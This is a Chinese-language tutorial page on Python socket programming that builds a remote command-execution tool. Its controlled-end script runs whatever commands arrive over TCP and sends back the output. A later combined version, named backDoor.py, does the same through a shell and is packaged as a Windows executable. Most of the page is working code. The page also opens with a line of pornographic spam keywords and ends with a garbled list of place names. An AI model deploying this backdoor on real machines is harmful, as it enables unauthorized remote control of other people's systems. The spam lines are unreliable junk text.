最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python實(shí)現(xiàn)Socket通信建立TCP反向連接

 更新時(shí)間:2021年08月18日 15:54:24   作者:Tr0e  
本文將記錄學(xué)習(xí)基于 Socket 通信機(jī)制建立 TCP 反向連接,借助 Python 腳本實(shí)現(xiàn)主機(jī)遠(yuǎn)程控制的目的。感興趣的可以了解一下

前言

本文將記錄學(xué)習(xí)基于 Socket 通信機(jī)制建立 TCP 反向連接,借助 Python 腳本實(shí)現(xiàn)主機(jī)遠(yuǎn)程控制的目的。

我們?cè)趥鬏敂?shù)據(jù)時(shí),可以只使用(傳輸層)TCP/IP 協(xié)議,但是那樣的話,如果沒有應(yīng)用層,便無法識(shí)別數(shù)據(jù)內(nèi)容,如果想要使傳輸?shù)臄?shù)據(jù)有意義,則必須使用到應(yīng)用層協(xié)議,應(yīng)用層協(xié)議有很多,比如 HTTP、FTP、TELNET 等,也可以自己定義應(yīng)用層協(xié)議。而 Socket 是對(duì) TCP/IP 協(xié)議的封裝,Socket 本身并不是協(xié)議,而是一個(gè)調(diào)用接口(API),通過 Socket 我們才能使用 TCP/IP 協(xié)議。

HTTP 連接與 Socket 連接的區(qū)別

  • HTTP 是短連接,Socket (基于 TCP 協(xié)議的)是長(zhǎng)連接。盡管 HTTP1.1 開始支持持久連接,但仍無法保證始終連接。而 Socket 連接一旦建立 TCP 三次握手,除非一方主動(dòng)斷開,否則連接狀態(tài)一直保持。
  • HTTP連接,服務(wù)端無法主動(dòng)發(fā)消息,Socket 連接,雙方請(qǐng)求的發(fā)送無先后限制。這點(diǎn)就比較重要了,因?yàn)樗鼘Q定二者分別適合應(yīng)用在什么場(chǎng)景下。HTTP 采用“請(qǐng)求-響應(yīng)”機(jī)制,在客戶端還沒發(fā)送消息給服務(wù)端前,服務(wù)端無法推送消息給客戶端。必須滿足客戶端發(fā)送消息在前,服務(wù)端回復(fù)在后。Socket 連接雙方類似 peer2peer 的關(guān)系,一方隨時(shí)可以向另一方喊話。

什么時(shí)候該用 HTTP,什么時(shí)候該用 Socket?

  • 用 HTTP 的情況:雙方不需要時(shí)刻保持連接在線,比如客戶端資源的獲取、文件上傳等。
  • 用 Socket 的情況:大部分即時(shí)通訊應(yīng)用(QQ、微信)、聊天室、蘋果APNs等。

Python3 關(guān)于 Socket 網(wǎng)絡(luò)編程的相關(guān)語法知識(shí)可以參見:Python3 網(wǎng)絡(luò)編程。

遠(yuǎn)程控制

下面開始來看看如何借助 Python 實(shí)現(xiàn)對(duì)目標(biāo)主機(jī)的遠(yuǎn)程控制。

腳本編寫

ServerAttack.py 受控端腳本如下:

import socket
import os

ip = ""      # 空表示可連接所有主機(jī)
port = 5555  # 設(shè)置端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    # 對(duì)象s 使用基于tcp協(xié)議的網(wǎng)絡(luò)套接字
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # 關(guān)閉后不需要保存狀態(tài)可以立即開啟
s.bind((ip, port))  # 對(duì)象s 開始綁定ip和端口
s.listen(10)        # 啟動(dòng)監(jiān)聽狀態(tài),設(shè)置隊(duì)列中等待連接服務(wù)器的最大請(qǐng)求數(shù)10
conn, addr = s.accept()       # 當(dāng)與別人建立連接 addr,conn 變量分別存對(duì)方ip和連接的對(duì)象
print("已建立遠(yuǎn)程連接:", addr)  # 顯示對(duì)方地址

while True:
    data = conn.recv(1024)  # 接收對(duì)方字符串 #如果對(duì)方不發(fā)數(shù)據(jù)會(huì)卡住
    if data == b"q":        # 接收到程序終止信號(hào)則中斷連接
        break
    data = str(data, encoding="utf8")  # 將數(shù)據(jù)轉(zhuǎn)換為字符串類型
    print("遠(yuǎn)程主機(jī)請(qǐng)求的命令:", data)
    f = os.popen(data)  # 可以將命令的內(nèi)容以讀取的方式返回
    data2 = f.read()
    if data2 == "":
        conn.send(b"finish")
    else:
        conn.send(bytes(data2, encoding="utf8"))  # 發(fā)送命令運(yùn)行結(jié)果

conn.close()  # 斷開連接
s.close()     # 關(guān)閉套結(jié)字

ClientAttack.py 控制端腳本如下:

import socket

ip = "192.168.146.126"  # 對(duì)方服務(wù)器ip地址
port = 5555             # 對(duì)方服務(wù)器的端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 對(duì)象s使用基于tcp協(xié)議的網(wǎng)絡(luò)套接字
s.connect((ip, port))   # 創(chuàng)建socket連接

while True:
    data = input("請(qǐng)輸入命令:")
    data = bytes(data, encoding="utf8")
    s.send(data)          # 發(fā)送數(shù)據(jù)給對(duì)方
    data2 = s.recv(1024)  # 接收返回的數(shù)據(jù)
    print(str(data2, encoding="utf8"))
    if data == b"q":
        break

s.close()

效果演示

1、Linux 遠(yuǎn)控

將 ServerAttack.py 受控端腳本拷貝至 Linux 系統(tǒng)并運(yùn)行,同時(shí) Win10 物理機(jī)運(yùn)行 ClientAttack.py 控制端腳本,可實(shí)現(xiàn)遠(yuǎn)程連接控制:

在這里插入圖片描述

2、Windows 遠(yuǎn)控

使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可執(zhí)行文件(pyinstaller -F ServerAttack.py),然后在 Win7 虛擬機(jī)運(yùn)行生成的 ServerAttack.exe 文件,效果如下:

在這里插入圖片描述

腳本優(yōu)化

下面使用多線程、腳本參數(shù)設(shè)置、腳本幫助提示、客戶端服務(wù)端代碼集成來優(yōu)化上述實(shí)現(xiàn)遠(yuǎn)程控制的腳本。

getopt ()

Python 中 getopt 模塊是專門用來處理命令行參數(shù)的,函數(shù)格式:

getopt(args, shortopts, longopts = [])

參數(shù)解析如下:

參數(shù) 釋義 補(bǔ)充
args 要解析的參數(shù)列表 一般是sys.argv[1:],表示獲取的參數(shù)不包括當(dāng)前執(zhí)行的 python 腳本名稱
shortopts 要識(shí)別的短格式 (-) 選項(xiàng)字符串,如果后接:表示需要給定參數(shù) ab:c:,表示識(shí)別 -a, -b 和 -c 的短選項(xiàng),其中 -b 和 -c 需要后接參數(shù)
longopts = [] 要識(shí)別的長(zhǎng)格式(–)選項(xiàng),如果后接=表示需要給定參數(shù) 如[“help”, “user=”, “password=”],表示識(shí)別--help, --user=root, --password=123456的長(zhǎng)選項(xiàng)

函數(shù)返回值由兩個(gè)元素組成:

  • 第一個(gè)是 (option, value) 元組的列表,(option, value) 元組中的 option 表示包含-或--前綴的選項(xiàng),value 表示該 option 對(duì)應(yīng)的參數(shù),可以為空字符串表示無參數(shù);
  • 第二個(gè)是 args 剝離短選項(xiàng)及其參數(shù)和長(zhǎng)選項(xiàng)及其參數(shù)之后剩余的參數(shù)列表。

完整代碼

import socket
import getopt
import sys
import subprocess
from threading import Thread


def main():
    target = ""  # 目標(biāo)IP
    port = 0     # 目標(biāo)端口
    listen = False
    help = False

    # 利用getopt模塊從命令行獲取參數(shù),sys.argv[1:]可以過濾掉第一個(gè)參數(shù)(第一個(gè)參數(shù)是腳本的名稱,它不應(yīng)該作為參數(shù)進(jìn)行解析)
    opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")
    for o, a in opts:
        if o == "-t":
            target = a
        elif o == "-p":
            port = int(a)
        elif o == "-h":
            help = True
        elif o == "-l":
            listen = True
        else:
            # 斷言,傳入的參數(shù)有誤
            assert False, "Unhandled Option"

    # 輸出幫助文檔
    if help:
        usage()

    # 獲分客戶端和服務(wù)端
    if listen:
        server_handle(port)
    else:
        client_handle(target, port)


# 受控端
def server_handle(port):
    # 創(chuàng)建socket通道
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 綁定
    server.bind(('0.0.0.0', port))
    # 監(jiān)聽
    server.listen(10)
    print("[*] Listening on 0.0.0.0:%d" % port)
    while True:
        client_socket, addr = server.accept()
        print("[*] Accept connection from %s:%d" % (addr[0], addr[1]))
        t = Thread(target=run_command, args=(client_socket, server,))
        t.start()


# 控制端,發(fā)送命令,接收受控端命令行的回顯內(nèi)容
def client_handle(target, port):
    # 創(chuàng)建socket通道
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 連接服務(wù)器
    client.connect((target, port))
    # 接收數(shù)據(jù)
    while True:
        recv_len = 1
        # 接收到的數(shù)據(jù)是utf-8
        resBuffer = "".encode('utf-8')
        while recv_len:
            data = client.recv(4096)
            recv_len = len(data)
            resBuffer += data
            if recv_len < 4096:
                break
        # 在windows下中文會(huì)亂碼,所以轉(zhuǎn)成GBK
        print(resBuffer.decode('gbk'), end="")
        # 接收命令,發(fā)送命令需要將命令轉(zhuǎn)成byte,并且編碼是utf-8
        buffer = input("")
        if buffer.encode('utf-8') == b"quit":
            break
        buffer += "\n"
        client.send(buffer.encode('utf-8'))
    client.close()


# 執(zhí)行命令涵數(shù)
def run_command(client_socket,s):
    while True:
        # 發(fā)送命令給客戶端
        client_socket.send(b"shell_>")
        # 定義接收命令byte類型變量
        cmd_buffer = "".encode('utf-8')
        # 接收客戶端發(fā)過來的消息,直到預(yù)到換行,代表客戶端消息輸入完成
        while b"\n" not in cmd_buffer:
            cmd_buffer += client_socket.recv(1024)
        if cmd_buffer == b"quit":
            break
        # 將完整的byte變量消息轉(zhuǎn)成字符串
        cmd_buffer = cmd_buffer.decode()
        try:
            # 通過隧道執(zhí)行命令并以byte數(shù)據(jù)類型返回輸出的數(shù)據(jù)
            out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
            # 將返回的數(shù)據(jù)發(fā)送給客戶端
            client_socket.send(out)
        except:
            client_socket.send(b"faild to execute the command")
    client_socket.close()  # 斷開連接
    s.close()  # 關(guān)閉套結(jié)字
    exit(0)


# 輸出幫助信息
def usage():
    print("help info : python backDoor.py -h")
    print("client : python backDoor.py -t [target] -p [port]")
    print("server : python backDoor.py -lp [port]")
    print("Exit :Input quit to exit ")
    sys.exit()


if __name__ == "__main__":
    main()

效果演示

獲取腳本幫助提示、進(jìn)行遠(yuǎn)程連接:

在這里插入圖片描述

到此這篇關(guān)于Python實(shí)現(xiàn)Socket通信建立TCP反向連接的文章就介紹到這了,更多相關(guān)Python TCP反向連接內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Python 字符串中的字符倒轉(zhuǎn)

    Python 字符串中的字符倒轉(zhuǎn)

    實(shí)現(xiàn)字符倒轉(zhuǎn)的python函數(shù)
    2008-09-09
  • Python下opencv庫(kù)的安裝過程及問題匯總

    Python下opencv庫(kù)的安裝過程及問題匯總

    本文主要內(nèi)容是python下opencv庫(kù)的安裝過程,涉及我在安裝時(shí)遇到的問題,并且,將從網(wǎng)上搜集并試用的一些解決方案進(jìn)行了簡(jiǎn)單的匯總,感興趣的小伙伴們可以參考一下
    2021-06-06
  • python對(duì)二維數(shù)組賦值問題

    python對(duì)二維數(shù)組賦值問題

    這篇文章主要介紹了python對(duì)二維數(shù)組賦值問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-08-08
  • Python打開指定網(wǎng)頁使用requests模塊爬蟲示例詳解

    Python打開指定網(wǎng)頁使用requests模塊爬蟲示例詳解

    這篇文章主要介紹了Python打開指定網(wǎng)頁使用requests模塊爬蟲的示例,Python?requests是一個(gè)常用的HTTP請(qǐng)求庫(kù),可以方便地向網(wǎng)站發(fā)送HTTP請(qǐng)求,并獲取響應(yīng)結(jié)果,requests模塊比urllib模塊更簡(jiǎn)潔,感興趣的朋友可以參考下
    2024-02-02
  • python jupyter入門教程

    python jupyter入門教程

    Jupyter Notebook是一個(gè)開源的Web應(yīng)用程序,允許用戶創(chuàng)建和共享包含代碼、方程式、可視化和文本的文檔,今天通過本文給大家分享python jupyter入門教程,需要的朋友一起看看吧
    2021-08-08
  • Python matplotlib畫曲線例題解析

    Python matplotlib畫曲線例題解析

    這篇文章主要介紹了Python matplotlib畫曲線例題解析,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-02-02
  • pythotn條件分支與循環(huán)詳解(2)

    pythotn條件分支與循環(huán)詳解(2)

    這篇文章主要介紹了Python條件分支和循環(huán)用法,結(jié)合實(shí)例形式較為詳細(xì)的分析了Python邏輯運(yùn)算操作符,條件分支語句,循環(huán)語句等功能與基本用法,需要的朋友可以參考下
    2021-08-08
  • python判斷字符串是否純數(shù)字的方法

    python判斷字符串是否純數(shù)字的方法

    這篇文章主要介紹了python判斷字符串是否純數(shù)字的方法,通過isdigit方法進(jìn)行判斷,并給出了改進(jìn)的實(shí)例及采用正則判斷的用法,具有一定的借鑒價(jià)值,需要的朋友可以參考下
    2014-11-11
  • Python實(shí)現(xiàn)字典的遍歷與排序功能示例

    Python實(shí)現(xiàn)字典的遍歷與排序功能示例

    這篇文章主要介紹了Python實(shí)現(xiàn)字典的遍歷與排序功能,結(jié)合實(shí)例形式分析了Python字典的遍歷與排序相關(guān)函數(shù)與使用技巧,需要的朋友可以參考下
    2017-12-12
  • Python數(shù)據(jù)結(jié)構(gòu)與算法之列表(鏈表,linked list)簡(jiǎn)單實(shí)現(xiàn)

    Python數(shù)據(jù)結(jié)構(gòu)與算法之列表(鏈表,linked list)簡(jiǎn)單實(shí)現(xiàn)

    這篇文章主要介紹了Python數(shù)據(jù)結(jié)構(gòu)與算法之列表(鏈表,linked list)簡(jiǎn)單實(shí)現(xiàn),具有一定參考價(jià)值,需要的朋友可以了解下。
    2017-10-10

最新評(píng)論

萝北县| 个旧市| 武定县| 延边| 池州市| 万荣县| 黔江区| 玉田县| 兰考县| 张家界市| 焦作市| 潍坊市| 德阳市| 泸溪县| 永兴县| 泾源县| 金阳县| 武隆县| 东丰县| 庆阳市| 许昌市| 翁牛特旗| 长沙市| 滨海县| 义乌市| 马公市| 永城市| 甘肃省| 汕尾市| 洛阳市| 泽普县| 都昌县| 星座| 定州市| 泌阳县| 五常市| 南丹县| 定边县| 军事| 资中县| 当雄县|